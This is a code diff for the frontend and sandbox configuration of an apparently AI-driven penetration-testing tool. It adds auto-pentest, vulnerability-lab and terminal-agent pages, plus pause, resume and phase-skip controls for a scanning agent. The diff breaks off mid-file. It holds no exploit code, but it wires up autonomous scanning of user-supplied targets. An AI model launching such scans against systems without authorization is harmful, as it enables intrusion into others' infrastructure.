|
||||
# docker compose -f docker-compose.sandbox.yml down
|
||||
|
||||
services:
|
||||
sandbox:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.sandbox
|
||||
image: neurosploit-sandbox:latest
|
||||
container_name: neurosploit-sandbox
|
||||
command: ["sleep infinity"]
|
||||
restart: unless-stopped
|
||||
networks:
|
||||
- sandbox-net
|
||||
volumes:
|
||||
- sandbox-output:/opt/output
|
||||
- sandbox-templates:/opt/nuclei-templates
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
memory: 2G
|
||||
cpus: '2.0'
|
||||
reservations:
|
||||
memory: 512M
|
||||
cpus: '0.5'
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
cap_drop:
|
||||
- ALL
|
||||
cap_add:
|
||||
- NET_RAW # Required for naabu/nmap raw sockets
|
||||
- NET_ADMIN # Required for packet capture
|
||||
healthcheck:
|
||||
test: ["CMD", "/opt/healthcheck.sh"]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
|
||||
networks:
|
||||
sandbox-net:
|
||||
driver: bridge
|
||||
internal: false
|
||||
|
||||
volumes:
|
||||
sandbox-output:
|
||||
sandbox-templates:
|
||||
+1
File diff suppressed because one or more lines are too long
+641
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
Vendored
+5
@@ -0,0 +1,5 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
|
||||
<circle cx="50" cy="50" r="45" fill="#1a1a2e" stroke="#e94560" stroke-width="3"/>
|
||||
<path d="M30 50 L45 35 L45 45 L70 45 L70 55 L45 55 L45 65 Z" fill="#e94560"/>
|
||||
<circle cx="50" cy="50" r="8" fill="none" stroke="#e94560" stroke-width="2"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 314 B |
Vendored
+14
@@ -0,0 +1,14 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>NeuroSploit v3 - AI-Powered Penetration Testing</title>
|
||||
<script type="module" crossorigin src="/assets/index-DScaoRL2.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="/assets/index-CjxVs3nK.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
</body>
|
||||
</html>
|
||||
Generated
+3467
File diff suppressed because it is too large
Load Diff
@@ -9,17 +9,27 @@ import RealtimeTaskPage from './pages/RealtimeTaskPage'
|
||||
import ReportsPage from './pages/ReportsPage'
|
||||
import ReportViewPage from './pages/ReportViewPage'
|
||||
import SettingsPage from './pages/SettingsPage'
|
||||
import SchedulerPage from './pages/SchedulerPage'
|
||||
import AutoPentestPage from './pages/AutoPentestPage'
|
||||
import VulnLabPage from './pages/VulnLabPage'
|
||||
import TerminalAgentPage from './pages/TerminalAgentPage'
|
||||
import SandboxDashboardPage from './pages/SandboxDashboardPage'
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<Layout>
|
||||
<Routes>
|
||||
<Route path="/" element={<HomePage />} />
|
||||
<Route path="/auto" element={<AutoPentestPage />} />
|
||||
<Route path="/vuln-lab" element={<VulnLabPage />} />
|
||||
<Route path="/terminal" element={<TerminalAgentPage />} />
|
||||
<Route path="/scan/new" element={<NewScanPage />} />
|
||||
<Route path="/scan/:scanId" element={<ScanDetailsPage />} />
|
||||
<Route path="/agent/:agentId" element={<AgentStatusPage />} />
|
||||
<Route path="/tasks" element={<TaskLibraryPage />} />
|
||||
<Route path="/realtime" element={<RealtimeTaskPage />} />
|
||||
<Route path="/scheduler" element={<SchedulerPage />} />
|
||||
<Route path="/sandboxes" element={<SandboxDashboardPage />} />
|
||||
<Route path="/reports" element={<ReportsPage />} />
|
||||
<Route path="/reports/:reportId" element={<ReportViewPage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
|
||||
@@ -7,14 +7,24 @@ import {
|
||||
Settings,
|
||||
Activity,
|
||||
Shield,
|
||||
Zap
|
||||
Zap,
|
||||
Clock,
|
||||
Rocket,
|
||||
FlaskConical,
|
||||
Terminal,
|
||||
Container
|
||||
} from 'lucide-react'
|
||||
|
||||
const navItems = [
|
||||
{ path: '/', icon: Home, label: 'Dashboard' },
|
||||
{ path: '/auto', icon: Rocket, label: 'Auto Pentest' },
|
||||
{ path: '/vuln-lab', icon: FlaskConical, label: 'Vuln Lab' },
|
||||
{ path: '/terminal', icon: Terminal, label: 'Terminal Agent' },
|
||||
{ path: '/sandboxes', icon: Container, label: 'Sandboxes' },
|
||||
{ path: '/scan/new', icon: Bot, label: 'AI Agent' },
|
||||
{ path: '/realtime', icon: Zap, label: 'Real-time Task' },
|
||||
{ path: '/tasks', icon: BookOpen, label: 'Task Library' },
|
||||
{ path: '/scheduler', icon: Clock, label: 'Scheduler' },
|
||||
{ path: '/reports', icon: FileText, label: 'Reports' },
|
||||
{ path: '/settings', icon: Settings, label: 'Settings' },
|
||||
]
|
||||
|
||||
@@ -3,7 +3,8 @@ import { useParams, useNavigate } from 'react-router-dom'
|
||||
import {
|
||||
Bot, RefreshCw, FileText, CheckCircle,
|
||||
XCircle, Clock, Target, Shield, ChevronDown, ChevronRight, ExternalLink,
|
||||
Copy, Download, StopCircle, Terminal, Brain, Send, Code, Globe, AlertTriangle
|
||||
Copy, Download, StopCircle, Terminal, Brain, Send, Code, Globe, AlertTriangle,
|
||||
SkipForward, MinusCircle, Pause, Play
|
||||
} from 'lucide-react'
|
||||
import Card from '../components/common/Card'
|
||||
import Button from '../components/common/Button'
|
||||
@@ -77,6 +78,11 @@ export default function AgentStatusPage() {
|
||||
const [isSubmittingPrompt, setIsSubmittingPrompt] = useState(false)
|
||||
const [promptSentMessage, setPromptSentMessage] = useState<string | null>(null)
|
||||
|
||||
// Phase skip state
|
||||
const [skipConfirm, setSkipConfirm] = useState<string | null>(null)
|
||||
const [isSkipping, setIsSkipping] = useState(false)
|
||||
const [skippedPhases, setSkippedPhases] = useState<Set<string>>(new Set())
|
||||
|
||||
// Separate logs by source
|
||||
const scriptLogs = logs.filter(l => l.source === 'script' || (!l.source && !l.message.includes('[LLM]') && !l.message.includes('[AI]')))
|
||||
const llmLogs = logs.filter(l => l.source === 'llm' || l.message.includes('[LLM]') || l.message.includes('[AI]'))
|
||||
@@ -107,12 +113,12 @@ export default function AgentStatusPage() {
|
||||
|
||||
fetchStatus()
|
||||
|
||||
// Poll every 2 seconds while running
|
||||
// Poll every 5 seconds while running or paused
|
||||
const interval = setInterval(() => {
|
||||
if (status?.status === 'running') {
|
||||
if (status?.status === 'running' || status?.status === 'paused') {
|
||||
fetchStatus()
|
||||
}
|
||||
}, 2000)
|
||||
}, 5000)
|
||||
|
||||
return () => clearInterval(interval)
|
||||
}, [agentId, status?.status])
|
||||
@@ -466,6 +472,28 @@ export default function AgentStatusPage() {
|
||||
}
|
||||
}
|
||||
|
||||
const handlePauseScan = async () => {
|
||||
if (!agentId) return
|
||||
try {
|
||||
await agentApi.pause(agentId)
|
||||
const statusData = await agentApi.getStatus(agentId)
|
||||
setStatus(statusData)
|
||||
} catch (err: any) {
|
||||
console.error('Failed to pause agent:', err)
|
||||
}
|
||||
}
|
||||
|
||||
const handleResumeScan = async () => {
|
||||
if (!agentId) return
|
||||
try {
|
||||
await agentApi.resume(agentId)
|
||||
const statusData = await agentApi.getStatus(agentId)
|
||||
setStatus(statusData)
|
||||
} catch (err: any) {
|
||||
console.error('Failed to resume agent:', err)
|
||||
}
|
||||
}
|
||||
|
||||
const handleSubmitPrompt = async () => {
|
||||
if (!customPrompt.trim() || !agentId) return
|
||||
setIsSubmittingPrompt(true)
|
||||
@@ -496,6 +524,37 @@ export default function AgentStatusPage() {
|
||||
}
|
||||
}
|
||||
|
||||
const handleSkipToPhase = async (targetPhase: string) => {
|
||||
if (!agentId) return
|
||||
setIsSkipping(true)
|
||||
try {
|
||||
await agentApi.skipToPhase(agentId, targetPhase)
|
||||
// Mark intermediate phases as skipped
|
||||
const currentIndex = status ? getPhaseIndex(status.phase) : 0
|
||||
const targetIndex = SCAN_PHASES.findIndex(p => p.key === targetPhase)
|
||||
const newSkipped = new Set(skippedPhases)
|
||||
for (let i = currentIndex; i < targetIndex; i++) {
|
||||
newSkipped.add(SCAN_PHASES[i].key)
|
||||
}
|
||||
setSkippedPhases(newSkipped)
|
||||
setSkipConfirm(null)
|
||||
} catch (err: any) {
|
||||
console.error('Failed to skip phase:', err)
|
||||
} finally {
|
||||
setIsSkipping(false)
|
||||
}
|
||||
}
|
||||
|
||||
// Track skipped phases from status updates
|
||||
useEffect(() => {
|
||||
if (!status) return
|
||||
const phase = status.phase.toLowerCase()
|
||||
if (phase.includes('_skipped')) {
|
||||
const skippedKey = phase.replace('_skipped', '')
|
||||
setSkippedPhases(prev => new Set(prev).add(skippedKey))
|
||||
}
|
||||
}, [status?.phase])
|
||||
|
||||
const copyToClipboard = (text: string) => {
|
||||
navigator.clipboard.writeText(text)
|
||||
}
|
||||
@@ -790,7 +849,8 @@ export default function AgentStatusPage() {
|
||||
<span className={`px-3 py-1 rounded-full text-sm font-medium flex items-center gap-1 ${
|
||||
status.status === 'running' ? 'bg-blue-500/20 text-blue-400' :
|
||||
status.status === 'completed' ? 'bg-green-500/20 text-green-400' :
|
||||
status.status === 'stopped' ? 'bg-yellow-500/20 text-yellow-400' :
|
||||
status.status === 'paused' ? 'bg-yellow-500/20 text-yellow-400' :
|
||||
status.status === 'stopped' ? 'bg-orange-500/20 text-orange-400' :
|
||||
'bg-red-500/20 text-red-400'
|
||||
}`}>
|
||||
{PHASE_ICONS[status.status]}
|
||||
@@ -802,10 +862,28 @@ export default function AgentStatusPage() {
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
{status.status === 'running' && (
|
||||
<Button variant="danger" onClick={handleStopScan} isLoading={isStopping}>
|
||||
<StopCircle className="w-4 h-4 mr-2" />
|
||||
Stop Scan
|
||||
</Button>
|
||||
<>
|
||||
<Button variant="secondary" onClick={handlePauseScan}>
|
||||
<Pause className="w-4 h-4 mr-2" />
|
||||
Pause
|
||||
</Button>
|
||||
<Button variant="danger" onClick={handleStopScan} isLoading={isStopping}>
|
||||
<StopCircle className="w-4 h-4 mr-2" />
|
||||
Stop
|
||||
</Button>
|
||||
</>
|
||||
)}
|
||||
{status.status === 'paused' && (
|
||||
<>
|
||||
<Button variant="primary" onClick={handleResumeScan}>
|
||||
<Play className="w-4 h-4 mr-2" />
|
||||
Resume
|
||||
</Button>
|
||||
<Button variant="danger" onClick={handleStopScan} isLoading={isStopping}>
|
||||
<StopCircle className="w-4 h-4 mr-2" />
|
||||
Stop
|
||||
</Button>
|
||||
</>
|
||||
)}
|
||||
{status.scan_id && (
|
||||
<Button variant="secondary" onClick={() => navigate(`/scan/${status.scan_id}`)}>
|
||||
@@ -833,31 +911,84 @@ export default function AgentStatusPage() {
|
||||
{(status.status === 'running' || status.status === 'completed' || status.status === 'stopped') && (
|
||||
<Card>
|
||||
<div className="space-y-4">
|
||||
{/* Phase Steps */}
|
||||
{/* Phase Steps with Skip */}
|
||||
<div className="flex items-center justify-between px-2">
|
||||
{SCAN_PHASES.map((phase, index) => {
|
||||
const currentIndex = status.status === 'completed' ? 4 : status.status === 'stopped' ? getPhaseIndex(status.phase) : getPhaseIndex(status.phase)
|
||||
const isActive = index === currentIndex
|
||||
const isCompleted = index < currentIndex || status.status === 'completed'
|
||||
const isStopped = status.status === 'stopped' && index > currentIndex
|
||||
const isSkipped = skippedPhases.has(phase.key)
|
||||
const canSkipTo = (status.status === 'running' || status.status === 'paused') && index > currentIndex && phase.key !== 'completed'
|
||||
|
||||
return (
|
||||
<div key={phase.key} className="flex flex-col items-center flex-1">
|
||||
<div className={`w-8 h-8 rounded-full flex items-center justify-center mb-1 transition-all ${
|
||||
isCompleted ? 'bg-green-500 text-white' :
|
||||
isActive ? 'bg-primary-500 text-white animate-pulse' :
|
||||
isStopped ? 'bg-yellow-500/20 text-yellow-500' :
|
||||
'bg-dark-700 text-dark-400'
|
||||
}`}>
|
||||
{isCompleted ? <CheckCircle className="w-4 h-4" /> :
|
||||
<div key={phase.key} className="flex flex-col items-center flex-1 relative group">
|
||||
{/* Connector line */}
|
||||
{index > 0 && (
|
||||
<div className={`absolute top-4 right-1/2 w-full h-0.5 -translate-y-1/2 z-0 ${
|
||||
isCompleted || isActive ? 'bg-green-500/50' :
|
||||
isSkipped ? 'bg-yellow-500/30' :
|
||||
'bg-dark-700'
|
||||
}`} />
|
||||
)}
|
||||
|
||||
{/* Phase node */}
|
||||
<div
|
||||
className={`relative z-10 w-8 h-8 rounded-full flex items-center justify-center mb-1 transition-all ${
|
||||
isSkipped ? 'bg-yellow-500/20 text-yellow-500 ring-2 ring-yellow-500/30' :
|
||||
isCompleted ? 'bg-green-500 text-white' :
|
||||
isActive ? 'bg-primary-500 text-white animate-pulse ring-2 ring-primary-500/30' :
|
||||
isStopped ? 'bg-yellow-500/20 text-yellow-500' :
|
||||
canSkipTo ? 'bg-dark-700 text-dark-400 cursor-pointer hover:bg-primary-500/20 hover:text-primary-400 hover:ring-2 hover:ring-primary-500/30' :
|
||||
'bg-dark-700 text-dark-400'
|
||||
}`}
|
||||
onClick={() => canSkipTo && setSkipConfirm(phase.key)}
|
||||
>
|
||||
{isSkipped ? <MinusCircle className="w-4 h-4" /> :
|
||||
isCompleted ? <CheckCircle className="w-4 h-4" /> :
|
||||
isActive ? (PHASE_ICONS[phase.key === 'recon' ? 'reconnaissance' : phase.key] || <span className="text-xs font-bold">{index + 1}</span>) :
|
||||
isStopped ? <StopCircle className="w-4 h-4" /> :
|
||||
canSkipTo ? <SkipForward className="w-3.5 h-3.5" /> :
|
||||
<span className="text-xs font-bold">{index + 1}</span>}
|
||||
</div>
|
||||
|
||||
<span className={`text-xs text-center ${
|
||||
isCompleted || isActive ? 'text-white' : 'text-dark-500'
|
||||
isSkipped ? 'text-yellow-500' :
|
||||
isCompleted || isActive ? 'text-white' :
|
||||
canSkipTo ? 'text-dark-400 group-hover:text-primary-400' :
|
||||
'text-dark-500'
|
||||
}`}>
|
||||
{phase.label}
|
||||
{isSkipped ? `${phase.label} (skipped)` : phase.label}
|
||||
</span>
|
||||
|
||||
{/* Skip tooltip on hover */}
|
||||
{canSkipTo && (
|
||||
<div className="absolute -top-8 left-1/2 -translate-x-1/2 bg-dark-800 text-primary-400 text-[10px] px-2 py-0.5 rounded whitespace-nowrap opacity-0 group-hover:opacity-100 transition-opacity pointer-events-none border border-dark-600">
|
||||
Skip to {phase.label}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Inline skip confirmation */}
|
||||
{skipConfirm === phase.key && (
|
||||
<div className="absolute top-10 left-1/2 -translate-x-1/2 z-20 bg-dark-800 border border-dark-600 rounded-lg p-3 shadow-xl whitespace-nowrap">
|
||||
<p className="text-xs text-dark-300 mb-2">Skip to <span className="text-white font-medium">{phase.label}</span>?</p>
|
||||
<div className="flex gap-2">
|
||||
<button
|
||||
onClick={() => handleSkipToPhase(phase.key)}
|
||||
disabled={isSkipping}
|
||||
className="px-3 py-1 bg-primary-500 text-white text-xs rounded hover:bg-primary-600 disabled:opacity-50"
|
||||
>
|
||||
{isSkipping ? 'Skipping...' : 'Confirm'}
|
||||
</button>
|
||||
<button
|
||||
onClick={() => setSkipConfirm(null)}
|
||||
className="px-3 py-1 bg-dark-700 text-dark-300 text-xs rounded hover:bg-dark-600"
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
|
||||
@@ -0,0 +1,929 @@
|
||||
import { useState, useEffect, useRef, useCallback } from 'react'
|
||||
import { useNavigate } from 'react-router-dom'
|
||||
import {
|
||||
Rocket, Shield, ChevronDown, ChevronUp, Loader2,
|
||||
AlertTriangle, CheckCircle2, Globe, Lock, Bug, MessageSquare,
|
||||
FileText, ScrollText, X, ExternalLink, Download, Sparkles, Trash2,
|
||||
Brain, Wrench, Layers
|
||||
} from 'lucide-react'
|
||||
import { agentApi, reportsApi } from '../services/api'
|
||||
import type { AgentStatus, AgentFinding, AgentLog } from '../types'
|
||||
|
||||
const PHASES = [
|
||||
{ key: 'parallel', label: 'Parallel Streams', icon: Layers, range: [0, 50] as const },
|
||||
{ key: 'deep', label: 'Deep Analysis', icon: Brain, range: [50, 75] as const },
|
||||
{ key: 'final', label: 'Finalization', icon: Shield, range: [75, 100] as const },
|
||||
]
|
||||
|
||||
const STREAMS = [
|
||||
{ key: 'recon', label: 'Recon', icon: Globe, color: 'blue', activeUntil: 25 },
|
||||
{ key: 'junior', label: 'Junior AI', icon: Brain, color: 'purple', activeUntil: 35 },
|
||||
{ key: 'tools', label: 'Tools', icon: Wrench, color: 'orange', activeUntil: 50 },
|
||||
] as const
|
||||
|
||||
const STREAM_COLORS: Record<string, { bg: string; text: string; border: string; pulse: string }> = {
|
||||
blue: { bg: 'bg-blue-500/20', text: 'text-blue-400', border: 'border-blue-500/40', pulse: 'bg-blue-400' },
|
||||
purple: { bg: 'bg-purple-500/20', text: 'text-purple-400', border: 'border-purple-500/40', pulse: 'bg-purple-400' },
|
||||
orange: { bg: 'bg-orange-500/20', text: 'text-orange-400', border: 'border-orange-500/40', pulse: 'bg-orange-400' },
|
||||
}
|
||||
|
||||
function phaseFromProgress(progress: number): number {
|
||||
if (progress < 50) return 0
|
||||
if (progress < 75) return 1
|
||||
return 2
|
||||
}
|
||||
|
||||
function StreamBadge({ stream, progress, isRunning }: {
|
||||
stream: typeof STREAMS[number]
|
||||
progress: number
|
||||
isRunning: boolean
|
||||
}) {
|
||||
const active = isRunning && progress < stream.activeUntil
|
||||
const done = progress >= stream.activeUntil
|
||||
const colors = STREAM_COLORS[stream.color]
|
||||
const Icon = stream.icon
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`inline-flex items-center gap-1.5 px-2.5 py-1 rounded-full border text-xs font-medium transition-all duration-300 ${
|
||||
active
|
||||
? `${colors.bg} ${colors.text} ${colors.border}`
|
||||
: done
|
||||
? 'bg-dark-700/50 text-dark-400 border-dark-600'
|
||||
: 'bg-dark-900 text-dark-500 border-dark-700'
|
||||
}`}
|
||||
>
|
||||
{active && (
|
||||
<span className="relative flex h-2 w-2">
|
||||
<span className={`animate-ping absolute inline-flex h-full w-full rounded-full ${colors.pulse} opacity-75`} />
|
||||
<span className={`relative inline-flex rounded-full h-2 w-2 ${colors.pulse}`} />
|
||||
</span>
|
||||
)}
|
||||
{done && <CheckCircle2 className="w-3 h-3 text-green-500" />}
|
||||
{!active && !done && <Icon className="w-3 h-3" />}
|
||||
<span>{stream.label}</span>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function logMessageColor(message: string): string {
|
||||
if (message.startsWith('[STREAM 1]')) return 'text-blue-400'
|
||||
if (message.startsWith('[STREAM 2]')) return 'text-purple-400'
|
||||
if (message.startsWith('[STREAM 3]')) return 'text-orange-400'
|
||||
if (message.startsWith('[TOOL]')) return 'text-orange-300'
|
||||
if (message.startsWith('[DEEP]')) return 'text-cyan-400'
|
||||
if (message.startsWith('[FINAL]')) return 'text-green-400'
|
||||
return ''
|
||||
}
|
||||
|
||||
const SEVERITY_COLORS: Record<string, string> = {
|
||||
critical: 'bg-red-500',
|
||||
high: 'bg-orange-500',
|
||||
medium: 'bg-yellow-500',
|
||||
low: 'bg-blue-500',
|
||||
info: 'bg-gray-500',
|
||||
}
|
||||
|
||||
const SEVERITY_BORDER: Record<string, string> = {
|
||||
critical: 'border-red-500/40',
|
||||
high: 'border-orange-500/40',
|
||||
medium: 'border-yellow-500/40',
|
||||
low: 'border-blue-500/40',
|
||||
info: 'border-gray-500/40',
|
||||
}
|
||||
|
||||
// Resolve a confidence score from the various possible sources on a finding.
|
||||
function getConfidenceDisplay(finding: { confidence_score?: number; confidence?: string }): { score: number; color: string; label: string } | null {
|
||||
let score: number | null = null
|
||||
|
||||
if (typeof finding.confidence_score === 'number') {
|
||||
score = finding.confidence_score
|
||||
} else if (finding.confidence) {
|
||||
const parsed = Number(finding.confidence)
|
||||
if (!isNaN(parsed)) {
|
||||
score = parsed
|
||||
} else {
|
||||
const map: Record<string, number> = { high: 90, medium: 60, low: 30 }
|
||||
score = map[finding.confidence.toLowerCase()] ?? null
|
||||
}
|
||||
}
|
||||
|
||||
if (score === null) return null
|
||||
|
||||
const color = score >= 90 ? 'green' : score >= 60 ? 'yellow' : 'red'
|
||||
const label = score >= 90 ? 'Confirmed' : score >= 60 ? 'Likely' : 'Low'
|
||||
return { score, color, label }
|
||||
}
|
||||
|
||||
const CONFIDENCE_STYLES: Record<string, string> = {
|
||||
green: 'bg-green-500/15 text-green-400 border-green-500/30',
|
||||
yellow: 'bg-yellow-500/15 text-yellow-400 border-yellow-500/30',
|
||||
red: 'bg-red-500/15 text-red-400 border-red-500/30',
|
||||
}
|
||||
|
||||
const SESSION_KEY = 'neurosploit_autopentest_session'
|
||||
|
||||
interface SavedSession {
|
||||
agentId: string
|
||||
target: string
|
||||
startedAt: string
|
||||
}
|
||||
|
||||
export default function AutoPentestPage() {
|
||||
const navigate = useNavigate()
|
||||
const [target, setTarget] = useState('')
|
||||
const [multiTarget, setMultiTarget] = useState(false)
|
||||
const [targets, setTargets] = useState('')
|
||||
const [subdomainDiscovery, setSubdomainDiscovery] = useState(false)
|
||||
const [showAuth, setShowAuth] = useState(false)
|
||||
const [authType, setAuthType] = useState<string>('')
|
||||
const [authValue, setAuthValue] = useState('')
|
||||
const [showPrompt, setShowPrompt] = useState(false)
|
||||
const [customPrompt, setCustomPrompt] = useState('')
|
||||
|
||||
// Running state
|
||||
const [isRunning, setIsRunning] = useState(false)
|
||||
const [agentId, setAgentId] = useState<string | null>(null)
|
||||
const [status, setStatus] = useState<AgentStatus | null>(null)
|
||||
const [error, setError] = useState<string | null>(null)
|
||||
|
||||
// Live findings & logs
|
||||
const [showFindings, setShowFindings] = useState(true)
|
||||
const [showLogs, setShowLogs] = useState(false)
|
||||
const [logs, setLogs] = useState<AgentLog[]>([])
|
||||
const [expandedFinding, setExpandedFinding] = useState<string | null>(null)
|
||||
|
||||
// Report generation
|
||||
const [generatingReport, setGeneratingReport] = useState(false)
|
||||
const [reportId, setReportId] = useState<string | null>(null)
|
||||
|
||||
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null)
|
||||
const logsEndRef = useRef<HTMLDivElement>(null)
|
||||
|
||||
// Restore session on mount
|
||||
useEffect(() => {
|
||||
try {
|
||||
const saved = localStorage.getItem(SESSION_KEY)
|
||||
if (saved) {
|
||||
const session: SavedSession = JSON.parse(saved)
|
||||
setAgentId(session.agentId)
|
||||
setTarget(session.target)
|
||||
setIsRunning(true)
|
||||
}
|
||||
} catch {
|
||||
// ignore parse errors
|
||||
}
|
||||
}, [])
|
||||
|
||||
// Save session when agentId changes
|
||||
useEffect(() => {
|
||||
if (agentId && isRunning) {
|
||||
const session: SavedSession = {
|
||||
agentId,
|
||||
target: target || '',
|
||||
startedAt: new Date().toISOString(),
|
||||
}
|
||||
localStorage.setItem(SESSION_KEY, JSON.stringify(session))
|
||||
}
|
||||
}, [agentId, isRunning, target])
|
||||
|
||||
// Poll agent status + logs
|
||||
useEffect(() => {
|
||||
if (!agentId) return
|
||||
|
||||
const poll = async () => {
|
||||
try {
|
||||
const s = await agentApi.getStatus(agentId)
|
||||
setStatus(s)
|
||||
if (s.status === 'completed' || s.status === 'error' || s.status === 'stopped') {
|
||||
setIsRunning(false)
|
||||
if (pollRef.current) clearInterval(pollRef.current)
|
||||
}
|
||||
} catch {
|
||||
// ignore polling errors
|
||||
}
|
||||
|
||||
// Fetch recent logs
|
||||
try {
|
||||
const logData = await agentApi.getLogs(agentId, 200)
|
||||
setLogs(logData.logs || [])
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
poll()
|
||||
pollRef.current = setInterval(poll, 3000)
|
||||
return () => { if (pollRef.current) clearInterval(pollRef.current) }
|
||||
}, [agentId])
|
||||
|
||||
// Auto-scroll logs
|
||||
useEffect(() => {
|
||||
if (showLogs && logsEndRef.current) {
|
||||
logsEndRef.current.scrollIntoView({ behavior: 'smooth' })
|
||||
}
|
||||
}, [logs, showLogs])
|
||||
|
||||
const handleStart = async () => {
|
||||
const primaryTarget = target.trim()
|
||||
if (!primaryTarget) return
|
||||
|
||||
setError(null)
|
||||
setIsRunning(true)
|
||||
setStatus(null)
|
||||
setLogs([])
|
||||
setReportId(null)
|
||||
|
||||
try {
|
||||
const targetList = multiTarget
|
||||
? targets.split('\n').map(t => t.trim()).filter(Boolean)
|
||||
: undefined
|
||||
|
||||
const resp = await agentApi.autoPentest(primaryTarget, {
|
||||
subdomain_discovery: subdomainDiscovery,
|
||||
targets: targetList,
|
||||
auth_type: authType || undefined,
|
||||
auth_value: authValue || undefined,
|
||||
prompt: customPrompt.trim() || undefined,
|
||||
})
|
||||
setAgentId(resp.agent_id)
|
||||
} catch (err: any) {
|
||||
setError(err?.response?.data?.detail || err?.message || 'Failed to start pentest')
|
||||
setIsRunning(false)
|
||||
}
|
||||
}
|
||||
|
||||
const handleStop = async () => {
|
||||
if (!agentId) return
|
||||
try {
|
||||
await agentApi.stop(agentId)
|
||||
setIsRunning(false)
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
const handleClearSession = () => {
|
||||
localStorage.removeItem(SESSION_KEY)
|
||||
setAgentId(null)
|
||||
setStatus(null)
|
||||
setLogs([])
|
||||
setIsRunning(false)
|
||||
setError(null)
|
||||
setReportId(null)
|
||||
setTarget('')
|
||||
}
|
||||
|
||||
const handleGenerateAiReport = useCallback(async () => {
|
||||
if (!status?.scan_id) return
|
||||
setGeneratingReport(true)
|
||||
try {
|
||||
const report = await reportsApi.generateAiReport({
|
||||
scan_id: status.scan_id,
|
||||
title: `AI Pentest Report - ${target}`,
|
||||
})
|
||||
setReportId(report.id)
|
||||
} catch (err: any) {
|
||||
setError(err?.response?.data?.detail || 'Failed to generate AI report')
|
||||
} finally {
|
||||
setGeneratingReport(false)
|
||||
}
|
||||
}, [status?.scan_id, target])
|
||||
|
||||
const currentPhaseIdx = status ? phaseFromProgress(status.progress) : -1
|
||||
const findings = status?.findings || []
|
||||
const rejectedFindings = status?.rejected_findings || []
|
||||
const allFindings = [...findings, ...rejectedFindings]
|
||||
const [findingsFilter, setFindingsFilter] = useState<'confirmed' | 'rejected' | 'all'>('all')
|
||||
const displayFindings = findingsFilter === 'confirmed' ? findings
|
||||
: findingsFilter === 'rejected' ? rejectedFindings
|
||||
: allFindings
|
||||
const sevCounts = findings.reduce(
|
||||
(acc, f) => {
|
||||
acc[f.severity] = (acc[f.severity] || 0) + 1
|
||||
return acc
|
||||
},
|
||||
{} as Record<string, number>
|
||||
)
|
||||
|
||||
return (
|
||||
<div className="min-h-screen flex flex-col items-center py-12 px-4">
|
||||
{/* Header */}
|
||||
<div className="text-center mb-10">
|
||||
<div className="inline-flex items-center justify-center w-16 h-16 bg-green-500/20 rounded-2xl mb-4">
|
||||
<Rocket className="w-8 h-8 text-green-400" />
|
||||
</div>
|
||||
<h1 className="text-3xl font-bold text-white mb-2">Auto Pentest</h1>
|
||||
<p className="text-dark-400 max-w-md">
|
||||
One-click comprehensive penetration test. 100 vulnerability types, AI-powered analysis, full report.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Main Card - only show config when no session is active */}
|
||||
{!agentId && (
|
||||
<div className="w-full max-w-2xl bg-dark-800 border border-dark-700 rounded-2xl p-8">
|
||||
{/* URL Input */}
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium text-dark-300 mb-2">Target URL</label>
|
||||
<input
|
||||
type="url"
|
||||
value={target}
|
||||
onChange={e => setTarget(e.target.value)}
|
||||
placeholder="https://example.com"
|
||||
disabled={isRunning}
|
||||
className="w-full px-4 py-4 bg-dark-900 border border-dark-600 rounded-xl text-white text-lg placeholder-dark-500 focus:outline-none focus:border-green-500 focus:ring-1 focus:ring-green-500 disabled:opacity-50"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Toggles */}
|
||||
<div className="flex flex-wrap gap-4 mb-6">
|
||||
<label className="flex items-center gap-2 cursor-pointer">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={subdomainDiscovery}
|
||||
onChange={e => setSubdomainDiscovery(e.target.checked)}
|
||||
disabled={isRunning}
|
||||
className="w-4 h-4 rounded bg-dark-900 border-dark-600 text-green-500 focus:ring-green-500"
|
||||
/>
|
||||
<span className="text-sm text-dark-300">Subdomain Discovery</span>
|
||||
</label>
|
||||
|
||||
<label className="flex items-center gap-2 cursor-pointer">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={multiTarget}
|
||||
onChange={e => setMultiTarget(e.target.checked)}
|
||||
disabled={isRunning}
|
||||
className="w-4 h-4 rounded bg-dark-900 border-dark-600 text-green-500 focus:ring-green-500"
|
||||
/>
|
||||
<span className="text-sm text-dark-300">Multiple Targets</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{/* Multi-target textarea */}
|
||||
{multiTarget && (
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium text-dark-300 mb-2">Additional Targets (one per line)</label>
|
||||
<textarea
|
||||
value={targets}
|
||||
onChange={e => setTargets(e.target.value)}
|
||||
rows={4}
|
||||
disabled={isRunning}
|
||||
placeholder={"https://api.example.com\nhttps://admin.example.com"}
|
||||
